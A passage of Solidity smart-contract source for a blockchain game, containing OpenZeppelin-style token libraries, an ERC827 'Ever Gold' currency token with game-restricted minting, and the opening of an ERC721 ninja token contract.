* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AccessByGame is Pausable, Claimable {
mapping(address => bool) internal contractAccess;
modifier onlyAccessByGame {
require(!paused && (msg.sender == owner || contractAccess[msg.sender] == true));
_;
}
function grantAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = true;
}
function revokeAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = false;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC827 interface, an extension of ERC20 token standard
*
* @dev Interface of a ERC827 token, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*/
contract ERC827 is ERC20 {
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827Caller {
function makeCall(address _target, bytes _data) external payable returns (bool) {
// solium-disable-next-line security/no-call-value
return _target.call.value(msg.value)(_data);
}
}
/**
* @title ERC827, an extension of ERC20 token standard
*
* @dev Implementation the ERC827, following the ERC20 standard with extra
* @dev methods to transfer value and data and execute calls in transfers and
* @dev approvals.
*
* @dev Uses OpenZeppelin StandardToken.
*/
contract ERC827Token is ERC827, StandardToken {
ERC827Caller internal caller_;
constructor() public {
caller_ = new ERC827Caller();
}
/**
* @dev Addition to ERC20 token methods. It allows to
* @dev approve the transfer of value and execute a call with the sent data.
*
* @dev Beware that changing an allowance with this method brings the risk that
* @dev someone may use both the old and the new allowance by unfortunate
* @dev transaction ordering. One possible solution to mitigate this race condition
* @dev is to first reduce the spender's allowance to 0 and set the desired value
* @dev afterwards:
* @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* @param _spender The address that will spend the funds.
* @param _value The amount of tokens to be spent.
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens to a specified
* @dev address and execute a call with the sent data on the same transaction
*
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
/**
* @dev Addition to ERC20 token methods. Transfer tokens from one address to
* @dev another and make a contract call on the same transaction
*
* @param _from The address which you want to send tokens from
* @param _to The address which you want to transfer to
* @param _value The amout of tokens to be transferred
* @param _data ABI-encoded contract call to call `_to` address.
*
* @return true if the call function was executed successfully
*/
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
/**
* @dev Addition to StandardToken methods. Increase the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To increment
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
/**
* @dev Addition to StandardToken methods. Decrease the amount of tokens that
* @dev an owner allowed to a spender and execute a call with the sent data.
*
* @dev approve should be called when allowed[_spender] == 0. To decrement
* @dev allowed value is better to use this function to avoid 2 calls (and wait until
* @dev the first transaction is mined)
* @dev From MonolithDAO Token.sol
*
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
* @param _data ABI-encoded contract call to call `_spender` address.
*/
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
// solium-disable-next-line security/no-call-value
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/// @title EverGold
/// @dev ERC827 Token for games.
contract EverGold is ERC827Token, MintableToken, AccessByGame {
string public constant name = "Ever Gold";
string public constant symbol = "EG";
uint8 public constant decimals = 0;
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
onlyAccessByGame
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.approveAndCall(_spender, _value, _data);
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferAndCall(_to, _value, _data);
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferFromAndCall(_from, _to, _value, _data);
}
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.increaseApprovalAndCall(_spender, _addedValue, _data);
}
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.decreaseApprovalAndCall(_spender, _subtractedValue, _data);
}
}
library StringLib {
function generateName(bytes16 _s, uint256 _len, uint256 _n)
public
pure
returns (bytes16 ret)
{
uint256 v = _n;
bytes16 num = 0;
while (v > 0) {
num = bytes16(uint(num) / (2 ** 8));
num |= bytes16(((v % 10) + 48) * 2 ** (8 * 15));
v /= 10;
}
ret = _s | bytes16(uint(num) / (2 ** (8 * _len)));
return ret;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. This function MUST use 50,000 gas or less. Return of other
* than the magic value MUST result in the transaction being reverted.
* Note: the contract address is always the message sender.
* @param _from The sending address
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
*/
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* @dev The zero address indicates there is no approved address.
* @dev There can only be one approved address per token at a given time.
* @dev Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* @dev An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* @dev If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @dev Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @dev Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* @dev The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() public view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() public view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* @dev Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* @dev Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* @dev Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* @dev Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* @dev Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract NinjaToken is ERC721Token, AccessByGame {
string public constant NAME = "Crypto Ninja Game Ninja";
